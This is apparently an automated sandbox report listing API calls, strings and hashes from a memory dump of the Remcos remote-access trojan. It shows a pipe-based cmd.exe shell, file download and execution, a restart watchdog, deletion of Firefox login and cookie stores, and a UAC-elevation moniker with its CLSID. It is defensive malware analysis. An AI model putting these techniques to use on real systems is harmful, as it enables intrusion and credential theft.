Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 8a165f7f556a11d3abfab9d86b37d0f406e8581ec1eb6973fd31e646fb445763
Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
Opcode Fuzzy Hash: 8a165f7f556a11d3abfab9d86b37d0f406e8581ec1eb6973fd31e646fb445763
Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0044F3DD Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0044F3E1
_free.LIBCMT ref: 0044F41A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F421

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 0c06709d10dba2764a1cbb07d76eee89d47f0343aa971453893a7dc6290cd450
Instruction ID: a95b0472bde791e81118f5b212bf6f07b4125f005b99c6aef0626ee370485fe8
Opcode Fuzzy Hash: 0c06709d10dba2764a1cbb07d76eee89d47f0343aa971453893a7dc6290cd450
Instruction Fuzzy Hash: 50E06577144A216BB211362A7C49D6F2A18DFD67BA727013BF45486143DE288D0641FA

Uniqueness

Uniqueness Score: -1.00%

Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
RegCloseKey.ADVAPI32(00000000), ref: 00413592

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00407CB9
GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
DeleteFileW.KERNEL32(00000000), ref: 00407DA9

Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00408278
SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
DeleteFileA.KERNEL32(?), ref: 00408652

Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF

Sleep.KERNEL32(000007D0), ref: 004086F8
StrToIntA.SHLWAPI(00000000,00000000), ref: 0040873A

Part of subcall function 0041C9E2: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7

Strings

XPG, xrefs: 00408430
Executing file: , xrefs: 004081AD
Unable to rename file!, xrefs: 00408413
XPG, xrefs: 004082E7
XPG, xrefs: 00408718
Deleted file: , xrefs: 00407DC8
Downloading file: , xrefs: 00407F7D
open, xrefs: 00408191
Failed to download file: , xrefs: 004080A5
XPG, xrefs: 00407DED
Browsing directory: , xrefs: 00408238
NG, xrefs: 00407CE5
Unable to delete: , xrefs: 00407E07
(PG, xrefs: 004081F2
Downloaded file: , xrefs: 0040802E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
API String ID: 1067849700-181434739
Opcode ID: 3b7c4b3d7d449749017bc82f18da2b12a0677a5740b025592c3c036ee554d5ba
Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
Opcode Fuzzy Hash: 3b7c4b3d7d449749017bc82f18da2b12a0677a5740b025592c3c036ee554d5ba
Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004056E6

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

__Init_thread_footer.LIBCMT ref: 00405723
CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90,004660C0,00000062,004660A4), ref: 004059E4
Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
TerminateProcess.KERNEL32(00000000), ref: 00405A17
CloseHandle.KERNEL32 ref: 00405A23
CloseHandle.KERNEL32 ref: 00405A2B
CloseHandle.KERNEL32 ref: 00405A3D
CloseHandle.KERNEL32 ref: 00405A45

Strings

0lG, xrefs: 00405A2D
0lG, xrefs: 00405988
0lG, xrefs: 00405954
SystemDrive, xrefs: 00405761
0lG, xrefs: 004056D0
0lG, xrefs: 0040585A
kG, xrefs: 004057DB
cmd.exe, xrefs: 0040574D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
API String ID: 2994406822-18413064
Opcode ID: 0423482584964133d0d19e65db76f813d50334c39a223a4c681c84889f8ac799
Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
Opcode Fuzzy Hash: 0423482584964133d0d19e65db76f813d50334c39a223a4c681c84889f8ac799
Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00412106

Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB

OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00412146
CloseHandle.KERNEL32(00000000), ref: 00412155
CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A

Strings

Remcos restarted by watchdog!, xrefs: 00412160
Watchdog module activated, xrefs: 00412184, 004123DC
fsutil.exe, xrefs: 0041230F
Watchdog launch failed!, xrefs: 00412383
rmclient.exe, xrefs: 004122EA
\SysWOW64\, xrefs: 00412261
\system32\, xrefs: 00412209
WinDir, xrefs: 0041221B, 00412270
WDH, xrefs: 004121B5, 004121BB, 00412420
svchost.exe, xrefs: 004122C5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
API String ID: 3018269243-13974260
Opcode ID: 1b0d93be84d51118ccd1b6052d9a017b8cd45349acbaf203cacd4182d68b5e1b
Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
Opcode Fuzzy Hash: 1b0d93be84d51118ccd1b6052d9a017b8cd45349acbaf203cacd4182d68b5e1b
Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
FindClose.KERNEL32(00000000), ref: 0040BBC9
FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
FindClose.KERNEL32(00000000), ref: 0040BD12

Strings

\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 0040BB52
[Firefox StoredLogins Cleared!], xrefs: 0040BCFF
UserProfile, xrefs: 0040BB60
[Firefox StoredLogins not found], xrefs: 0040BBD4
\logins.json, xrefs: 0040BC34
\key3.db, xrefs: 0040BC76

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
API String ID: 1164774033-3681987949
Opcode ID: e60ef44db30208dd2162595bb00c9bb932e2c9896fc53afd5e517d704f3508ac
Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
Opcode Fuzzy Hash: e60ef44db30208dd2162595bb00c9bb932e2c9896fc53afd5e517d704f3508ac
Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89

Uniqueness

Uniqueness Score: -1.00%

Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004168C2
EmptyClipboard.USER32 ref: 004168D0
GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
GlobalLock.KERNEL32(00000000), ref: 004168F9
GlobalUnlock.KERNEL32(00000000), ref: 0041692F
SetClipboardData.USER32(0000000D,00000000), ref: 00416938
CloseClipboard.USER32 ref: 00416955
OpenClipboard.USER32 ref: 0041695C
GetClipboardData.USER32(0000000D), ref: 0041696C
GlobalLock.KERNEL32(00000000), ref: 00416975
GlobalUnlock.KERNEL32(00000000), ref: 0041697E
CloseClipboard.USER32 ref: 00416984

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
String ID: !D@
API String ID: 3520204547-604454484
Opcode ID: 7bdf44ed23baddef4cf62a28d7db66ec7c3cdf26bf7aa0f36eb4a81407acbbaf
Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
Opcode Fuzzy Hash: 7bdf44ed23baddef4cf62a28d7db66ec7c3cdf26bf7aa0f36eb4a81407acbbaf
Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
FindClose.KERNEL32(00000000), ref: 0040BDC9
FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
FindClose.KERNEL32(00000000), ref: 0040BEAF
FindClose.KERNEL32(00000000), ref: 0040BED0

Strings

\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 0040BD52
UserProfile, xrefs: 0040BD60
[Firefox Cookies not found], xrefs: 0040BDD4, 0040BE9C
\cookies.sqlite, xrefs: 0040BE2C
[Firefox cookies found, cleared!], xrefs: 0040BEDF

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$Close$File$FirstNext
String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 3527384056-432212279
Opcode ID: 5d0565dfd04f48ee80346224fd960d4021310761f6a296d7b61b1ca4d4d71a86
Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
Opcode Fuzzy Hash: 5d0565dfd04f48ee80346224fd960d4021310761f6a296d7b61b1ca4d4d71a86
Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E

Uniqueness

Uniqueness Score: -1.00%

Function 004132D2 Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
GetFileSize.KERNEL32(?,00000000), ref: 00413432
UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
CloseHandle.KERNEL32(00000000), ref: 0041345F
CloseHandle.KERNEL32(?), ref: 00413465

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseHandleView$CreateMappingSizeUnmap
String ID:
API String ID: 297527592-0
Opcode ID: 52b6b7bb2cc7c70124f03fd4dd600c064b869f903e3e72a7e1b27baf9a98f7f1
Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
Opcode Fuzzy Hash: 52b6b7bb2cc7c70124f03fd4dd600c064b869f903e3e72a7e1b27baf9a98f7f1
Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
CloseHandle.KERNEL32(00000000,?,00000000,?,?,00475338), ref: 0040F563

Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208

CloseHandle.KERNEL32(00000000,?,00475338), ref: 0040F66E

Strings

ielowutil.exe, xrefs: 0040F716
C:\Program Files(x86)\Internet Explorer\, xrefs: 0040F6BE
ieinstal.exe, xrefs: 0040F6D5
Inj, xrefs: 0040F769

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
API String ID: 3756808967-1743721670
Opcode ID: 7f89ee10989f3bd4abeff3972d4c872612047b4c43f3230c1fb09e73b354777b
Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
Opcode Fuzzy Hash: 7f89ee10989f3bd4abeff3972d4c872612047b4c43f3230c1fb09e73b354777b
Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON

Download Yara Rule

Strings

6, xrefs: 00419813
7, xrefs: 0041982A
3, xrefs: 00419754
4, xrefs: 004197B8
0, xrefs: 00419651
1, xrefs: 00419695
5, xrefs: 00419809
VG, xrefs: 0041968B
2, xrefs: 004196F4

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: 0$1$2$3$4$5$6$7$VG
API String ID: 0-1861860590
Opcode ID: 41b7ed3079968531247989beadbe1f0bf299f88a528c0936b597c9f8fef39dcf
Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
Opcode Fuzzy Hash: 41b7ed3079968531247989beadbe1f0bf299f88a528c0936b597c9f8fef39dcf
Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00407521
CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582

Strings

[+] CoGetObject, xrefs: 00407561
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00407516, 0040751B, 0040755A
Elevation:Administrator!new:, xrefs: 00407542
[+] CoGetObject SUCCESS, xrefs: 00407595
[-] CoGetObject FAILURE, xrefs: 0040758E
[+] ucmAllocateElevatedObject, xrefs: 00407508
$, xrefs: 0040753B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Object_wcslen
String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
API String ID: 240030777-3166923314
Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
GetLastError.KERNEL32 ref: 0041A7BB
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: EnumServicesStatus$ErrorLastManagerOpen
String ID:
API String ID: 3587775597-0
Opcode ID: 9206af50c139a4972f8ad6fd42bba56160b21ad091b1fa9e470d4b003cbebb8b
Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
Opcode Fuzzy Hash: 9206af50c139a4972f8ad6fd42bba56160b21ad091b1fa9e470d4b003cbebb8b
Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

Part of subcall function 00448215: _free.LIBCMT ref: 00448274
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
IsValidCodePage.KERNEL32(00000000), ref: 00452777
IsValidLocale.KERNEL32(?,00000001), ref: 00452786
GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED

Strings

